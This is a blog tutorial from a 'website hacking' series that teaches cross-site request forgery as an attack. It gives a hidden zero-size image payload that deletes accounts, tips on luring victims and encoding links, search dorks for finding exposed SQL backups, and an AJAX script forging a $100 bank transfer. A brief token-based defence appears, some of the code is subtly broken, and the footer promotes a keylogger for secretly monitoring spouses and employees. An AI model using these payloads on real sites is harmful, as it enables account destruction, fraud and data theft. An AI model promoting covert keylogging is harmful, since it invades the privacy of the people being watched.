Website Hacking : Cross Site Request Forgery (CSRF/XSRF) Tutorial Part 4

In my previous articles on wildhacker I wrote about How to find a vulnerable Website? , Basic information of website hacking and XSS Tutorial. Today i am writing this Part 4 article on "Cross Site Request Forgery Tutorial For Website Hacking".Today in this article, I am going to teach you how to hack website using CSRF/XSRF attack.

If you have not read part 1 and part 2, I strongly recommend you read both my articles for learning more about Website Hacking....

Basic Information About Website Hacking Part 1


How to find a vulnerable Website?? Part 2


Basic XSS Tutorial For Website Hacking Part 3

You might be interested in some of our other articles:

• RAT(Remote Administration Tool) Guide
• Tabnabbing: Beware of New Type of Phishing Attack
• Facebook, Hotmail, Gmail Passowrd hacking through Winspy Keylogger
• Remote Password Hacking Software - Sniperspy keylogger
• How To Hack Password Through Mobile

Don’t forget to Subscribe to our RSS feed

Cross Site Request Forgery Website Hacking Tutorial

What is it?

CSRF attack we can to send a fake request from the browser of the user, and thus enter to site with the permission of the user and maintain interact with the site like the script is the user himself.

CSRF is commonly used to confirm something without the users the awareness, so for example, lets say Bob has an account on webbhosting.com, and Josh wants this account completely removed from the DB, this can be done by the user himself, but others can't remove his account except the ones with appropriate permissions. So lets say the link to remove an account was:

Code:

webbhosting.com/remaccount.php?confirmation=yes

This can be included in a IMG file, such as:

Code:

<img src="webbhosting.com/remaccount.php?confirmation=yes" width="0" height="0">

You can trick people to go to the link by saying its pictures, a download, etc, etc.

I would also recommend that you encode the action that is being performed via:

meyerweb.com

Prevention:

When you get links sent by people you don't know very well, just use the view-source: function in FF. Another prevention is to add a token via:

Code:

<?
//security.php
$id = createUniqueHash();
if ( $_GET['action'] == 'something' )
{
if ( $_GET['token'] == $id )
//do action;
else
die('Action failed: Incorrect key');
}
?>

You can also use this to force the administrator to spit logs on the server (in this case a SQL backup) most of these aren't chmod'd, robots.txt'd, so within a few days you can use this to locate the database:

Code:

site:sitename.com "sql"

Code:

site:sitename.com "users"

etc

I'd recommend using base64/URL encode usage using a ?refer / ?redirect / XSS vulnerability on their site, you can use this to redirect to the dumpfile that will spit the backup log on the site, once clicked by the administrator you're goal is reached.

Example :

A great example of using on CSRF, is bank site after the user connects to site created cookies on his computer(Role of the cookies is save the data).

From this moment any action performed from the user browser approved by the site system. Here comes in the AJAX technology, with the AJAX we can to send request(packet request) performed by the browser itself.

This means all the cookies and sessions of the user sent with the request(Unlike server-side language) So if there is a form that is used on bank site to money transfer.

We can send POST request to a form using AJAX and the request is approved by the site system, because all the cookies of the user browser sent with the AJAX request

Example for CSRF exploit

html:
Code:

<form action="" method="post" name="transfer">
Amount of money to transfer:
<label>
<input type="text" name="money" id="money" />$
</label>
<br />
For bank account:
<label>
<input type="text" name="Baccount" id="Baccount" />
</label>
<p>
<label>
<input type="submit" name="send" id="send" value="Submit" />
</label>
</p>
</form>

php:
Code:

<?php
if(isset($_POST['send'])
{
if(is_numeric($_COOKIE['id'] && isset($_COOKIE['password'])
{
if(..)
{
//if is valid cookies
//transfer
}
else
{
//if is invalid cookies
//blocking
}
}
}
?>

What's the risk here?, as you can see the php script check if it's valid cookies and without additional filtering operation approved the transfer.
This means that if we have the cookies we need only to send fake request to system with the cookies of the user and the system is approved the transfer.

AJAX:
Code:

<script type="text/javascript">
var http = GetXmlHttpObject();
if(http != null)
{
var url = ""; //Attacking form address
var pack = "money=100&Baccount=0123456789&send=Submit";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", pack.length);
http.setRequestHeader("Connection", "close");
http.send(params);
}
function GetXmlHttpObject()
{
if(window.XMLHttpRequest)
{
return new XMLHttpRequest();
}
if(window.ActiveXObject)
{
return new ActiveXObject("Microsoft.XMLHTTP");
}
return null;
}
</script>

As already explained, requests sent AJAX are sent from the browser itself so we do not have to worry about to get the cookies of the user.
So even though we sent only the POST in the request sent to the server you'll see something like this:

Code:

POST /file.php HTTP/1.1 \r\n
Host: www.serverAddress.com \r\n
Cookie: id=...; password=..; \r\n
Connection: Close \r\n
Content-Type: application/x-www-form-urlencoded \r\n
Content-Length: .... \r\n\r\n
money=100&Baccount=0123456789&send=Submit

Once returned from the server 200(request was received successfully) transferred $100 from the user account to account number 0123456789.
And so the CSRF attack works........

Limitations :

Several things have to happen for cross-site request forgery to succeed:

1. The attacker must target either a site that doesn't check the referrer header (which is common) or a victim with a browser or plugin bug that allows referrer spoofing (which is rare).
2. The attacker must find a form submission at the target site, or a URL that has side effects, that does something (e.g., transfers money, or changes the victim's e-mail address or password).
3. The attacker must determine the right values for all the form's or URL's inputs; if any of them are required to be secret authentication values or IDs that the attacker can't guess, the attack will fail.
4. The attacker must lure the victim to a Web page with malicious code while the victim is logged in to the target site.

Note that the attack is blind; i.e., the attacker can't see what the target website sends back to the victim in response to the forged requests, unless he exploits a cross-site scripting or other bug at the target website. Similarly, the attacker can only target any links or submit any forms that come up after the initial forged request, if those subsequent links or forms are similarly predictable

So friends, I hope you will like this
Cross Site Request Forgery Tutorial For Website Hacking....
If you have any problem in above Website hacking Using Cross Site Request Forgery Tutorial, please mention it in comments section.

Enjoy Website Hacking ........

If you enjoyed this post and wish to be informed whenever a new post is published, then make sure you subscribe to my regular Email Updates. Subscribe Now!

Do you need to know what your child is doing on the computer? Do you want to know what your loved ones or spouse or kids are doing on the computer? Do you need to monitor what your employees are doing during work hours? Are they working or playing?

Winspy Keylogger is intended to help you in these kind of situations. It can show you exactly what is being done on the computer at any time.

Click Here To Download Winspy Keylogger